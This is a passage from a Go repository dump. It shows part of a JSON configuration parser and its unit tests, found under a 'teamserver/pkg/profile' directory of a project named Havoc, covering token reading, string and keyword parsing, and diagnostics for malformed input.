nil\n}\n\nfunc parseString(p *peeker) (node, hcl.Diagnostics) {\n    tok := p.Read()\n    var str string\n    err := json.Unmarshal(tok.Bytes, &str)\n\n    if err != nil {\n        var errRange hcl.Range\n        if serr, ok := err.(*json.SyntaxError); ok {\n            errOfs := serr.Offset\n            errPos := tok.Range.Start\n            errPos.Byte += int(errOfs)\n\n            // TODO: Use the byte offset to properly count unicode\n            // characters for the column, and mark the whole of the\n            // character that was wrong as part of our range.\n            errPos.Column += int(errOfs)\n\n            errEndPos := errPos\n            errEndPos.Byte++\n            errEndPos.Column++\n\n            errRange = hcl.Range{\n                Filename: tok.Range.Filename,\n                Start:    errPos,\n                End:      errEndPos,\n            }\n        } else {\n            errRange = tok.Range\n        }\n\n        var contextRange *hcl.Range\n        if errRange != tok.Range {\n            contextRange = &tok.Range\n        }\n\n        // FIXME: Eventually we should parse strings directly here so\n        // we can produce a more useful error message in the face fo things\n        // such as invalid escapes, etc.\n        return nil, hcl.Diagnostics{\n            {\n                Severity: hcl.DiagError,\n                Summary:  \"Invalid JSON string\",\n                Detail:   fmt.Sprintf(\"There is a syntax error in the given JSON string.\"),\n                Subject:  &errRange,\n                Context:  contextRange,\n            },\n        }\n    }\n\n    return &stringVal{\n        Value:    str,\n        SrcRange: tok.Range,\n    }, nil\n}\n\nfunc parseKeyword(p *peeker) (node, hcl.Diagnostics) {\n    tok := p.Read()\n    s := string(tok.Bytes)\n\n    switch s {\n    case \"true\":\n        return &booleanVal{\n            Value:    true,\n            SrcRange: tok.Range,\n        }, nil\n    case \"false\":\n        return &booleanVal{\n            Value:    false,\n            SrcRange: tok.Range,\n        }, nil\n    case \"null\":\n        return &nullVal{\n            SrcRange: tok.Range,\n        }, nil\n    case \"undefined\", \"NaN\", \"Infinity\":\n        return nil, hcl.Diagnostics{\n            {\n                Severity: hcl.DiagError,\n                Summary:  \"Invalid JSON keyword\",\n                Detail:   fmt.Sprintf(\"The JavaScript identifier %q cannot be used in JSON.\", s),\n                Subject:  &tok.Range,\n            },\n        }\n    default:\n        var dym string\n        if suggest := keywordSuggestion(s); suggest != \"\" {\n            dym = fmt.Sprintf(\" Did you mean %q?\", suggest)\n        }\n\n        return nil, hcl.Diagnostics{\n            {\n                Severity: hcl.DiagError,\n                Summary:  \"Invalid JSON keyword\",\n                Detail:   fmt.Sprintf(\"%q is not a valid JSON keyword.%s\", s, dym),\n                Subject:  &tok.Range,\n            },\n        }\n    }\n}\n"
  },
  {
    "path": "teamserver/pkg/profile/yaotl/json/parser_test.go",
    "content": "package json\n\nimport (\n    \"math/big\"\n    \"testing\"\n\n    \"github.com/go-test/deep\"\n    \"Havoc/pkg/profile/yaotl\"\n)\n\nfunc init() {\n    deep.MaxDepth = 999\n}\n\nfunc TestParse(t *testing.T) {\n    tests := []struct {\n        Input     string\n        Want      node\n        DiagCount int\n    }{\n        // Simple, single-token constructs\n        {\n            `true`,\n            &booleanVal{\n                Value: true,\n                SrcRange: hcl.Range{\n                    Start: hcl.Pos{Line: 1, Column: 1, Byte: 0},\n                    End:   hcl.Pos{Line: 1, Column: 5, Byte: 4},\n                },\n            },\n            0,\n        },\n        {\n            `false`,\n            &booleanVal{\n                Value: false,\n                SrcRange: hcl.Range{\n                    Start: hcl.Pos{Line: 1, Column: 1, Byte: 0},\n                    End:   hcl.Pos{Line: 1, Column: 6, Byte: 5},\n                },\n            },\n            0,\n        },\n        {\n            `null`,\n            &nullVal{\n                SrcRange: hcl.Range{\n                    Start: hcl.Pos{Line: 1, Column: 1, Byte: 0},\n                    End:   hcl.Pos{Line: 1, Column: 5, Byte: 4},\n                },\n            },\n            0,\n        },\n        {\n            `undefined`,\n            invalidVal{hcl.Range{\n                Start: hcl.Pos{Line: 1, Column: 1, Byte: 0},\n                End:   hcl.Pos{Line: 1, Column: 10, Byte: 9},\n            }},\n            1,\n        },\n        {\n            `flase`,\n            invalidVal{hcl.Range{\n                Start: hcl.Pos{Line: 1, Column: 1, Byte: 0},\n                End:   hcl.Pos{Line: 1, Column: 6, Byte: 5},\n            }},\n            1,\n        },\n        {\n            `\"hello\"`,\n            &stringVal{\n                Value: \"hello\",\n                SrcRange: hcl.Range{\n                    Start: hcl.Pos{Line: 1, Column: 1, Byte: 0},\n                    End:   hcl.Pos{Line: 1, Column: 8, Byte: 7},\n                },\n            },\n            0,\n        },\n        {\n            `\"hello\\nworld\"`,\n            &stringVal{\n                Value: \"hello\\nworld\",\n                SrcRange: hcl.Range{\n                    Start: hcl.Pos{Line: 1, Column: 1, Byte: 0},\n                    End:   hcl.Pos{Line: 1, Column: 15, Byte: 14},\n                },\n            },\n            0,\n        },\n        {\n            `\"hello \\\"world\\\"\"`,\n            &stringVal{\n                Value: `hello \"world\"`,\n                SrcRange: hcl.Range{\n                    Start: hcl.Pos{Line: 1, Column: 1, Byte: 0},\n                    End:   hcl.Pos{Line: 1, Column: 18, Byte: 17},\n                },\n            },\n            0,\n        },\n        {\n            `\"hello \\\\\"`,\n            &stringVal{\n                Value: \"hello \\\\\",\n                SrcRange: hcl.Range{\n                    Start: hcl.Pos{Line: 1, Column: 1, Byte: 0},\n                    End:   hcl.Pos{Line: 1, Column: 11, Byte: 10},\n                },\n            },\n            0,\n        },\n        {\n            `\"hello`,\n            invalidVal{hcl.Range{\n                Start: hcl.Pos{Line: 1, Column: 1, Byte: 0},\n                End:   hcl.Pos{Line: 1, Column: 7, Byte: 6},\n            }},\n            1,\n        },\n        {\n            `\"he\\llo\"`,\n            invalidVal{hcl.Range{\n                Start: hcl.Pos{Line: 1, Column: 1, Byte: 0},\n                End:   hcl.Pos{Line: 1, Column: 9, Byte: 8},\n            }},\n            1,\n        },\n        {\n            `1`,\n            &numberVal{\n                Value: mustBigFloat(\"1\"),\n                SrcRange: hcl.Range{\n                    Start: hcl.Pos{Line: 1, Column: 1, Byte: 0},\n                    End:   hcl.Pos{Line: 1, Column: 2, Byte: 1},\n                },\n            },\n            0,\n        },\n        {\n            `1.2`,\n            &numberVal{\n                Value: mustBigFloat(\"1.2\"),\n                SrcRange: hcl.Range{\n                    Start: hcl.Pos{Line: 1, Column: 1, Byte: 0},\n                    End:   hcl.Pos{Line: 1, Column: 4, Byte: 3},\n                },\n            },\n            0,\n        },\n        {\n            `-1`,\n            &numberVal{\n                Value: mustBigFloat(\"-1\"),\n                SrcRange: hcl.Range{\n                    Start: hcl.Pos{Line: 1, Column: 1, Byte: 0},\n                    End:   hcl.Pos{Line: 1, Column: 3, Byte: 2},\n                },\n            },\n            0,\n        },\n        {\n            `1.2e5`,\n            &numberVal{\n                Value: mustBigFloat(\"120000\"),\n                SrcRange: hcl.Range{\n                    Start: hcl.Pos{Line: 1, Column: 1, Byte: 0},\n                    End:   hcl.Pos{Line: 1, Column: 6, Byte: 5},\n                },\n            },\n            0,\n        },\n        {\n            `1.2e+5`,\n            &numberVal{\n                Value: mustBigFloat(\"120000\"),\n                SrcRange: hcl.Range{\n                    Start: hcl.Pos{Line: 1, Column: 1, Byte: 0},\n                    End:   hcl.Pos{Line: 1, Column: 7, Byte: 6},\n                },\n            },\n            0,\n        },\n        {\n            `1.2e-5`,\n            &numberVal{\n                Value: mustBigFloat(\"1.2e-5\"),\n                SrcRange: hcl.Range{\n                    Start: hcl.Pos{Line: 1, Column: 1, Byte: 0},\n                    End:   hcl.Pos{Line: 1, Column: 7, Byte: 6},\n                },\n            },\n            0,\n        },\n        {\n            `.1`,\n            invalidVal{hcl.Range{\n                Start: hcl.Pos{Line: 1, Column: 1, Byte: 0},\n                End:   hcl.Pos{Line: 1, Column: 3, Byte: 2},\n            }},\n            1,\n        },\n        {\n            `+2`,\n            invalidVal{hcl.Range{\n                Start: hcl.Pos{Line: 1, Column: 1, Byte: 0},\n                End:   hcl.Pos{Line: 1, Column: 3, Byte: 2},\n            }},\n            1,\n        },\n        {\n            `1 2`,\n            &numberVal{\n                Value: mustBigFloat(\"1\"),\n                SrcRange: hcl.Range{\n                    Start: hcl.Pos{Line: 1, Column: 1, Byte: 0},\n                    End:   hcl.Pos{Line: 1, Column: 2, Byte: 1},\n                },\n            },\n            1,\n        },\n\n        // Objects\n        {\n            `{\"hello\": true}`,\n            &objectVal{\n                Attrs: []*objectAttr{\n                    {\n                        Name: \"hello\",\n                        Value: &booleanVal{\n                            Value: true,\n                            SrcRange: hcl.Range{\n                                Start: hcl.Pos{Line: 1, Column: 11, Byte: 10},\n                                End:   hcl.Pos{Line: 1, Column: 15, Byte: 14},\n                            },\n                        },\n                        NameRange: hcl.Range{\n                            Start: hcl.Pos{Line: 1, Column: 2, Byte: 1},\n                            End:   hcl.Pos{Line: 1, Column: 9, Byte: 8},\n                        },\n                    },\n                },\n                SrcRange: hcl.Range{\n                    Start: hcl.Pos{Line: 1, Column: 1, Byte: 0},\n                    End:   hcl.Pos{Line: 1, Column: 16, Byte: 15},\n                },\n                OpenRange: hcl.Range{\n                    Start: hcl.Pos{Line: 1, Column: 1, Byte: 0},\n                    End:   hcl.Pos{Line: 1, Column: 2, Byte: 1},\n                },\n                CloseRange: hcl.Range{\n                    Start: hcl.Pos{Line: 1, Column: 15, Byte: 14},\n                    End:   hcl.Pos{Line: 1, Column: 16, Byte: 15},\n                },\n            },\n            0,\n        },\n        {\n            `{\"hello\": true, \"bye\": false}`,\n            &objectVal{\n                Attrs: []*objectAttr{\n                    {\n                        Name: \"hello\",\n                        Value: &booleanVal{\n                            Value: true,\n                            SrcRange: hcl.Range{\n                                Start: hcl.Pos{Line: 1, Column: 11, Byte: 10},\n                                End:   hcl.Pos{Line: 1, Column: 15, Byte: 14},\n                            },\n                        },\n                        NameRange: hcl.Range{\n                            Start: hcl.Pos{Line: 1, Column: 2, Byte: 1},\n                            End:   hcl.Pos{Line: 1, Column: 9, Byte: 8},\n                        },\n                    },\n                    {\n                        Name: \"bye\",\n                        Value: &booleanVal{\n                            Value: false,\n                            SrcRange: hcl.Range{\n                                Start: hcl.Pos{Line: 1, Column: 24, Byte: 23},\n                                End:   hcl.Pos{Line: 1, Column: 29, Byte: 28},\n                            },\n                        },\n                        NameRange: hcl.Range{\n                            Start: hcl.Pos{Line: 1, Column: 17, Byte: 16},\n                            End:   hcl.Pos{Line: 1, Column: 22, Byte: 21},\n                        },\n                    },\n                },\n                SrcRange: hcl.Range{\n                    Start: hcl.Pos{Line: 1, Column: 1, Byte: 0},\n                    End:   hcl.Pos{Line: 1, Column: 30, Byte: 29},\n                },\n                OpenRange: hcl.Range{\n                    Start: hcl.Pos{Line: 1, Column: 1, Byte: 0},\n                    End:   hcl.Pos{Line: 1, Column: 2, Byte: 1},\n                },\n                CloseRange: hcl.Range{\n                    Start: hcl.Pos{Line: 1, Column: 29, Byte: 28},\n                    End:   hcl.Pos{Line: 1, Column: 30, Byte: 29},\n                },\n            },\n            0,\n        },\n        {\n            `{}`,\n            &objectVal{\n                Attrs: []*objectAttr{},\n                SrcRange: hcl.Range{\n                    Start: hcl.Pos{Line: 1, Column: 1, Byte: 0},\n                    End:   hcl.Pos{Line: 1, Column: 3, Byte: 2},\n                },\n                OpenRange: hcl.Range{\n                    Start: hcl.Pos{Line: 1, Column: 1, Byte: 0},\n                    End:   hcl.Pos{Line: 1, Column: 2, Byte: 1},\n                },\n                CloseRange: hcl.Range{\n                    Start: hcl.Pos{Line: 1, Column: 2, Byte: 1},\n                    End:   hcl.Pos{Line: 1, Column: 3, Byte: 2},\n                },\n            },\n            0,\n        },\n        {\n            `{\"hello\":true`,\n            invalidVal{hcl.Range{\n                Start: hcl.Pos{Line: 1, Column: 1, Byte: 0},\n                End:   hcl.Pos{Line: 1, Column: 2, Byte: 1},\n            }},\n            1,\n        },\n        {\n            `{\"hello\":true]`,\n            invalidVal{hcl.Range{\n                Start: hcl.Pos{Line: 1, Column: 1, Byte: 0},\n                End:   hcl.Pos{Line: 1, Column: 2, Byte: 1},\n            }},\n            1,\n        },\n        {\n            `{\"hello\":true,}`,\n            invalidVal{hcl.Range{\n                Start: hcl.Pos{Line: 1, Column: 1, Byte: 0},\n                End:   hcl.Pos{Line: 1, Column: 2, Byte: 1},\n            }},\n            1,\n        },\n        {\n            `{true:false}`,\n            invalidVal{hcl.Range{\n                Start: hcl.Pos{Line: 1, Column: 1, Byte: 0},\n                End:   hcl.Pos{Line: 1, Column: 2, Byte: 1},\n            }},\n            1,\n        },\n        {\n            `{\"hello\": true, \"hello\": true}`,\n            &objectVal{\n                Attrs: []*objectAttr{\n                    {\n                        Name: \"hello\",\n                        Value: &booleanVal{\n                            Value: true,\n                            SrcRange: hcl.Range{\n                                Start: hcl.Pos{Line: 1, Column: 11, Byte: 10},\n                                End:   hcl.Pos{Line: 1, Column: 15, Byte: 14},\n                            },\n                        },\n                        NameRange: hcl.Range{\n                            Start: hcl.Pos{Line: 1, Column: 2, Byte: 1},\n                            End:   hcl.Pos{Line: 1, Column: 9, Byte: 8},\n                        },\n                    },\n                    {\n                        Name: \"hello\",\n                        Value: &booleanVal{\n                            Value: true,\n                            SrcRange: hcl.Range{\n                                Start: hcl.Pos{Line: 1, Column: 26, Byte: 25},\n                                End:   hcl.Pos{Line: 1, Column: 30, Byte: 29},\n                            },\n                        },\n                        NameRange: hcl.Range{\n                            Start: hcl.Pos{Line: 1, Column: 17, Byte: 16},\n                            End:   hcl.Pos{Line: 1, Column: 24, Byte: 23},\n                        },\n                    },\n                },\n                SrcRange: hcl.Range{\n                    Start: hcl.Pos{Line: 1, Column: 1, Byte: 0},\n                    End:   hcl.Pos{Line: 1, Column: 31, Byte: 30},\n                },\n                OpenRange: hcl.Range{\n                    Start: hcl.Pos{Line: 1, Column: 1, Byte: 0},\n                    End:   hcl.Pos{Line: 1, Column: 2, Byte: 1},\n                },\n                CloseRange: hcl.Range{\n                    Start: hcl.Pos{Line: 1, Column: 30, Byte: 29},\n                    End:   hcl.Pos{Line: 1, Column: 31, Byte: 30},\n                },\n            },\n            0,\n        },\n        {\n            `{\"hello\": true, \"hello\": true, \"hello\", true}`,\n            invalidVal{hcl.Range{\n                Start: hcl.Pos{Line: 1, Column: 1, Byte: 0},\n                End:   hcl.Pos{Line: 1, Column: 2, Byte: 1},\n            }},\n            1, // comma used where colon is expected\n        },\n        {\n            `{\"hello\", \"world\"}`,\n            invalidVal{hcl.Range{\n                Start: hcl.Pos{Line: 1, Column: 1, Byte: 0},\n                End:   hcl.Pos{Line: 1, Column: 2, Byte: 1},\n            }},\n            1,\n        },\n        {\n            `[]`,\n            &arrayVal{\n                Values: []node{},\n                SrcRange: hcl.Range{\n                    Start: hcl.Pos{Line: 1, Column: 1, Byte: 0},\n                    End:   hcl.Pos{Line: 1, Column: 3, Byte: 2},\n                },\n                OpenRange: hcl.Range{\n                    Start: hcl.Pos{Line: 1, Column: 1, Byte: 0},\n                    End:   hcl.Pos{Line: 1, Column: 2, Byte: 1},\n                },\n            },\n            0,\n        },\n        {\n            `[true]`,\n            &arrayVal{\n                Values: []node{\n                    &booleanVal{\n                        Value: true,\n                        SrcRange: hcl.Range{\n                            Start: hcl.Pos{Line: 1, Column: 2, Byte: 1},\n                            End:   hcl.Pos{Line: 1, Column: 6, Byte: 5},\n                        },\n                    },\n                },\n                SrcRange: hcl.Range{\n                    Start: hcl.Pos{Line: 1, Column: 1, Byte: 0},\n                    End:   hcl.Pos{Line: 1, Column: 7, Byte: 6},\n                },\n                OpenRange: hcl.Range{\n                    Start: hcl.Pos{Line: 1, Column: 1, Byte: 0},\n                    End:   hcl.Pos{Line: 1, Column: 2, Byte: 1},\n                },\n            },\n            0,\n        },\n        {\n            `[true, false]`,\n            &arrayVal{\n                Values: []node{\n                    &booleanVal{\n                        Value: true,\n                        SrcRange: hcl.Range{\n                            Start: hcl.Pos{Line: 1, Column: 2, Byte: 1},\n                            End:   hcl.Pos{Line: 1, Column: 6, Byte: 5},\n                        },\n                    },\n                    &booleanVal{\n                        Value: false,\n                        SrcRange: hcl.Range{\n                            Start: hcl.Pos{Line: 1, Column: 8, Byte: 7},\n                            End:   hcl.Pos{Line: 1, Column: 13, Byte: 12},\n                        },\n                    },\n                },\n                SrcRange: hcl.Range{\n                    Start: hcl.Pos{Line: 1, Column: 1, Byte: 0},\n                    End:   hcl.Pos{Line: 1, Column: 14, Byte: 13},\n                },\n                OpenRange: hcl.Range{\n                    Start: hcl.Pos{Line: 1, Column: 1, Byte: 0},\n                    End:   hcl.Pos{Line: 1, Column: 2, Byte: 1},\n                },\n            },\n            0,\n        },\n        {\n            `[[]]`,\n            &arrayVal{\n                Values: []node{\n                    &arrayVal{\n                        Values: []node{},\n                        SrcRange: hcl.Range{\n                            Start: hcl.Pos{Line: 1, Column: 2, Byte: 1},\n                            End:   hcl.Pos{Line: 1, Column: 4, Byte: 3},\n                        },\n                        OpenRange: hcl.Range{\n                            Start: hcl.Pos{Line: 1, Column: 2, Byte: 1},\n                            End:   hcl.Pos{Line: 1, Column: 3, Byte: 2},\n                        },\n                    },\n                },\n                SrcRange: hcl.Range{\n                    Start: hcl.Pos{Line: 1, Column: 1, Byte: 0},\n                    End:   hcl.Pos{Line: 1, Column: 5, Byte: 4},\n                },\n                OpenRange: hcl.Range{\n                    Start: hcl.Pos{Line: 1, Column: 1, Byte: 0},\n                    End:   hcl.Pos{Line: 1, Column: 2, Byte: 1},\n                },\n            },\n            0,\n        },\n        {\n            `[`,\n            invalidVal{hcl.Range{\n                Start: hcl.Pos{Line: 1, Column: 1, Byte: 0},\n                End:   hcl.Pos{Line: 1, Column: 2, Byte: 1},\n            }},\n            2,\n        },\n        {\n            `[true`,\n            invalidVal{hcl.Range{\n                Start: hcl.Pos{Line: 1, Column: 1, Byte: 0},\n                End:   hcl.Pos{Line: 1, Column: 2, Byte: 1},\n            }},\n            1,\n        },\n        {\n            `]`,\n            invalidVal{hcl.Range{\n                Start: hcl.Pos{Line: 1, Column: 1, Byte: 0},\n                End:   hcl.Pos{Line: 1, Column: 2, Byte: 1},\n            }},\n            1,\n        },\n        {\n            `[true,]`,\n            invalidVal{hcl.Range{\n                Start: hcl.Pos{Line: 1, Column: 1, Byte: 0},\n                End:   hcl.Pos{Line: 1, Column: 2, Byte: 1},\n            }},\n            1,\n        },\n        {\n            `[[],]`,\n            invalidVal{hcl.Range{\n                Start: hcl.Pos{Line: 1, Column: 1, Byte: 0},\n                End:   hcl.Pos{Line: 1, Column: 2, Byte: 1},\n            }},\n            1,\n        },\n        {\n            `[\"hello\":true]`,\n            invalidVal{hcl.Range{\n                Start: hcl.Pos{Line: 1, Column: 1, Byte: 0},\n                End:   hcl.Pos{Line: 1, Column: 2, Byte: 1},\n            }},\n            1,\n        },\n        {\n            `[true}`,\n            invalidVal{hcl.Range{\n                Start: hcl.Pos{Line: 1, Column: 1, Byte: 0},\n                End:   hcl.Pos{Line: 1, Column: 2, Byte: 1},\n            }},\n            1,\n        },\n        {\n            `{\"wrong\"=true}`,\n            invalidVal{hcl.Range{\n                Start: hcl.Pos{Line: 1, Column: 1, Byte: 0},\n                End:   hcl.Pos{Line: 1, Column: 2, Byte: 1},\n            }},\n            1,\n        },\n        {\n            `{\"wrong\" = true}`,\n            invalidVal{hcl.Range{\n                Start: hcl.Pos{Line: 1, Column: 1, Byte: 0},\n                End:   hcl.Pos{Line: 1, Column: 2, Byte: 1},\n            }},\n            1,\n        },\n        {\n            `{\"wrong\" true}`,\n            invalidVal{hcl.Range{\n                Start: hcl.Pos{Line: 1, Column: 1, Byte: 0},\n                End:   hcl.Pos{Line: 1, Column: 2, Byte: 1},\n            }},\n            1,\n        },\n    }\n\n    for _, test := range tests {\n        t.Run(test.Input, func(t *testing.T) {\n            got, diag := parseFileContent([]byte(test.Input), \"\", hcl.Pos{Byte: 0, Line: 1, Column: 1})\n\n            if len(diag) != test.DiagCount {\n                t.Errorf(\"got %d diagnostics; want %d\", len(diag), test.DiagCount)\n                for _, d := range diag {\n                    t.Logf(\"  - %s\", d.Error())\n                }\n            }\n\n            if diff := deep.Equal(got, test.Want); diff != nil {\n                for _, problem := range diff {\n                    t.Error(problem)\n                }\n            }\n        })\n    }\n}\n\nfunc TestParseWithPos(t *testing.T) {\n    tests := []struct {\n        Input     string\n        StartPos  hcl.Pos\n        Want      node\n        DiagCount int\n    }{\n        // Simple, single-token constructs\n        {\n            `true`,\n            hcl.Pos{Byte: 0, Line: 3, Column: 10},\n            &booleanVal{\n                Value: true,\n                SrcRange: hcl.Range{\n                    Start: hcl.Pos{Line: 3, Column: 10, Byte: 0},\n                    End:   hcl.Pos{Line: 3, Column: 14, Byte: 4},\n                },\n            },\n            0,\n        },\n    }\n\n    for _, test := range tests {\n        t.Run(test.Input, func(t *testing.T) {\n            got, diag := parseFileContent([]byte(test.Input), \"\", test.StartPos)\n\n            if len(diag) != test.DiagCount {\n                t.Errorf(\"got %d diagnostics; want %d\", len(diag), test.DiagCount)\n                for _, d := range diag {\n                    t.Logf(\"  - %s\", d.Error())\n                }\n            }\n\n            if diff := deep.Equal(got, test.Want); diff != nil {\n                for _, problem := range diff {\n                    t.Error(problem)\n                }\n            }\n        })\n    }\n}\n\nfunc mustBigFloat(s string) *big.Float {\n    f, _, err := (&big.Float{}).Parse(s, 10)\n    if err != nil {\n        panic(err)\n    }\n    return f\n}\n"
  },
  {
    "path": "teamserver/pkg/profile/yaotl/json/peeker.go",
    "content": "package json\n\ntype peeker struct {\n\ttokens []token\n\tpos    int\n}\n\nfunc newPeeker(tokens []token) *peeker {\n\treturn &peeker{\n\t\ttokens: tokens,\n\t\tpos:    0,\n\t}\n}\n\nfunc (p *peeker) Peek() token {\n\treturn p.tokens[p.pos]\n}\n\nfunc (p *peeker) Read() token {\n\tret := p.tokens[p.pos]\n\tif ret.Type != tokenEOF {\n\t\tp.pos++\n\t}\n\treturn ret\n}\n"
  },
  {
    "path": "teamserver/pkg/profile/yaotl/json/public.go",
    "content": "package json\n\nimport (\n    \"fmt\"\n    \"io/ioutil\"\n    \"os\"\n\n    \"Havoc/pkg/profile/yaotl\"\n)\n\n// Parse attempts to parse the given buffer as JSON and, if successful, returns\n// a hcl.File for the HCL configuration represented by it.\n//\n// This is not a generic JSON parser. Instead, it deals only with the profile\n// of JSON used to express HCL configuration.\n//\n// The returned file is valid only if the returned diagnostics returns false\n// from its HasErrors method. If HasErrors returns true, the file represents\n// the subset of data that was able to be parsed, which may be none.\nfunc Parse(src []byte, filename string) (*hcl.File, hcl.Diagnostics) {\n    return ParseWithStartPos(src, filename, hcl.Pos{Byte: 0, Line: 1, Column: 1})\n}\n\n// ParseWithStartPos attempts to parse like json.Parse, but unlike json.Parse\n// you can pass a start position of the given JSON as a hcl.Pos.\n//\n// In most cases json.Parse should be sufficient, but it can be useful for parsing\n// a part of JSON with correct positions.\nfunc ParseWithStartPos(src []byte, filename string, start hcl.Pos) (*hcl.File, hcl.Diagnostics) {\n    rootNode, diags := parseFileContent(src, filename, start)\n\n    switch rootNode.(type) {\n    case *objectVal, *arrayVal:\n        // okay\n    default:\n        diags = diags.Append(&hcl.Diagnostic{\n            Severity: hcl.DiagError,\n            Summary:  \"Root value must be object\",\n            Detail:   \"The root value in a JSON-based configuration must be either a JSON object or a JSON array of objects.\",\n            Subject:  rootNode.StartRange().Ptr(),\n        })\n\n        // Since we've already produced an error message for this being\n        // invalid, we'll return an empty placeholder here so that trying to\n        // extract content from our root body won't produce a redundant\n        // error saying the same thing again in more general terms.\n        fakePos := hcl.Pos{\n            Byte:   0,\n            Line:   1,\n            Column: 1,\n        }\n        fakeRange := hcl.Range{\n            Filename: filename,\n            Start:    fakePos,\n            End:      fakePos,\n        }\n        rootNode = &objectVal{\n            Attrs:     []*objectAttr{},\n            SrcRange:  fakeRange,\n            OpenRange: fakeRange,\n        }\n    }\n\n    file := &hcl.File{\n        Body: &body{\n            val: rootNode,\n        },\n        Bytes: src,\n        Nav:   navigation{rootNode},\n    }\n    return file, diags\n}\n\n// ParseExpression parses the given buffer as a standalone JSON expression,\n// returning it as an instance of Expression.\nfunc ParseExpression(src []byte, filename string) (hcl.Expression, hcl.Diagnostics) {\n    return ParseExpressionWithStartPos(src, filename, hcl.Pos{Byte: 0, Line: 1, Column: 1})\n}\n\n// ParseExpressionWithStartPos parses like json.ParseExpression, but unlike\n// json.ParseExpression you can pass a start position of the given JSON\n// expression as a hcl.Pos.\nfunc ParseExpressionWithStartPos(src []byte, filename string, start hcl.Pos) (hcl.Expression, hcl.Diagnostics) {\n    node, diags := parseExpression(src, filename, start)\n    return &expression{src: node}, diags\n}\n\n// ParseFile is a convenience wrapper around Parse that first attempts to load\n// data from the given filename, passing the result to Parse if successful.\n//\n// If the file cannot be read, an error diagnostic with nil context is returned.\nfunc ParseFile(filename string) (*hcl.File, hcl.Diagnostics) {\n    f, err := os.Open(filename)\n    if err != nil {\n        return nil, hcl.Diagnostics{\n            {\n                Severity: hcl.DiagError,\n                Summary:  \"Failed to open file\",\n                Detail:   fmt.Sprintf(\"The file %q could not be opened.\", filename),\n            },\n        }\n    }\n    defer f.Close()\n\n    src, err := ioutil.ReadAll(f)\n    if err != nil {\n        return nil, hcl.Diagnostics{\n            {\n                Severity: hcl.DiagError,\n                Summary:  \"Failed to read file\",\n                Detail:   fmt.Sprintf(\"The file %q was opened, but an error occurred while reading it.\", filename),\n            },\n        }\n    }\n\n    return Parse(src, filename)\n}\n"
  },
  {
    "path": "teamserver/pkg/profile/yaotl/json/public_test.go",
    "content": "package json\n\nimport (\n    \"fmt\"\n    \"strings\"\n    \"testing\"\n\n    \"Havoc/pkg/profile/yaotl\"\n    \"github.com/zclconf/go-cty/cty\"\n)\n\nfunc TestParse_nonObject(t *testing.T) {\n    src := `true`\n    file, diags := Parse([]byte(src), \"\")\n    if len(diags) != 1 {\n        t.Errorf(\"got %d diagnostics; want 1\", len(diags))\n    }\n    if file == nil {\n        t.Errorf(\"got nil File; want actual file\")\n    }\n    if file.Body == nil {\n        t.Fatalf(\"got nil Body; want actual body\")\n    }\n    if file.Body.(*body).val == nil {\n        t.Errorf(\"got nil Body object; want placeholder object\")\n    }\n}\n\nfunc TestParseTemplate(t *testing.T) {\n    src := `{\"greeting\": \"hello ${\\\"world\\\"}\"}`\n    file, diags := Parse([]byte(src), \"\")\n    if len(diags) != 0 {\n        t.Errorf(\"got %d diagnostics on parse; want 0\", len(diags))\n        for _, diag := range diags {\n            t.Logf(\"- %s\", diag.Error())\n        }\n    }\n    if file == nil {\n        t.Errorf(\"got nil File; want actual file\")\n    }\n    if file.Body == nil {\n        t.Fatalf(\"got nil Body; want actual body\")\n    }\n    attrs, diags := file.Body.JustAttributes()\n    if len(diags) != 0 {\n        t.Errorf(\"got %d diagnostics on decode; want 0\", len(diags))\n        for _, diag := range diags {\n            t.Logf(\"- %s\", diag.Error())\n        }\n    }\n\n    val, diags := attrs[\"greeting\"].Expr.Value(&hcl.EvalContext{})\n    if len(diags) != 0 {\n        t.Errorf(\"got %d diagnostics on eval; want 0\", len(diags))\n        for _, diag := range diags {\n            t.Logf(\"- %s\", diag.Error())\n        }\n    }\n\n    if !val.RawEquals(cty.StringVal(\"hello world\")) {\n        t.Errorf(\"wrong result %#v; want %#v\", val, cty.StringVal(\"hello world\"))\n    }\n}\n\nfunc TestParseTemplateUnwrap(t *testing.T) {\n    src := `{\"greeting\": \"${true}\"}`\n    file, diags := Parse([]byte(src), \"\")\n    if len(diags) != 0 {\n        t.Errorf(\"got %d diagnostics on parse; want 0\", len(diags))\n        for _, diag := range diags {\n            t.Logf(\"- %s\", diag.Error())\n        }\n    }\n    if file == nil {\n        t.Errorf(\"got nil File; want actual file\")\n    }\n    if file.Body == nil {\n        t.Fatalf(\"got nil Body; want actual body\")\n    }\n    attrs, diags := file.Body.JustAttributes()\n    if len(diags) != 0 {\n        t.Errorf(\"got %d diagnostics on decode; want 0\", len(diags))\n        for _, diag := range diags {\n            t.Logf(\"- %s\", diag.Error())\n        }\n    }\n\n    val, diags := attrs[\"greeting\"].Expr.Value(&hcl.EvalContext{})\n    if len(diags) != 0 {\n        t.Errorf(\"got %d diagnostics on eval; want 0\", len(diags))\n        for _, diag := range diags {\n            t.Logf(\"- %s\", diag.Error())\n        }\n    }\n\n    if !val.RawEquals(cty.True) {\n        t.Errorf(\"wrong result %#v; want %#v\", val, cty.True)\n    }\n}\n\nfunc TestParse_malformed(t *testing.T) {\n    src := `{\n  \"http_proxy_url: \"http://xxxxxx\",\n}`\n    file, diags := Parse([]byte(src), \"\")\n    if got, want := len(diags), 2; got != want {\n        t.Errorf(\"got %d diagnostics; want %d\", got, want)\n    }\n    if err, want := diags.Error(), `Missing property value colon`; !strings.Contains(err, want) {\n        t.Errorf(\"diags are %q, but should contain %q\", err, want)\n    }\n    if file == nil {\n        t.Errorf(\"got nil File; want actual file\")\n    }\n}\n\nfunc TestParseWithStartPos(t *testing.T) {\n    src := `{\n  \"foo\": {\n    \"bar\": \"baz\"\n  }\n}`\n    part := `{\n    \"bar\": \"baz\"\n  }`\n\n    file, diags := Parse([]byte(src), \"\")\n    partFile, partDiags := ParseWithStartPos([]byte(part), \"\", hcl.Pos{Byte: 0, Line: 2, Column: 10})\n    if len(diags) != 0 {\n        t.Errorf(\"got %d diagnostics on parse src; want 0\", len(diags))\n        for _, diag := range diags {\n            t.Logf(\"- %s\", diag.Error())\n        }\n    }\n    if len(partDiags) != 0 {\n        t.Errorf(\"got %d diagnostics on parse part src; want 0\", len(partDiags))\n        for _, diag := range partDiags {\n            t.Logf(\"- %s\", diag.Error())\n        }\n    }\n\n    if file == nil {\n        t.Errorf(\"got nil File; want actual file\")\n    }\n    if file.Body == nil {\n        t.Fatalf(\"got nil Body; want actual body\")\n    }\n    if partFile == nil {\n        t.Errorf(\"got nil part File; want actual file\")\n    }\n    if partFile.Body == nil {\n        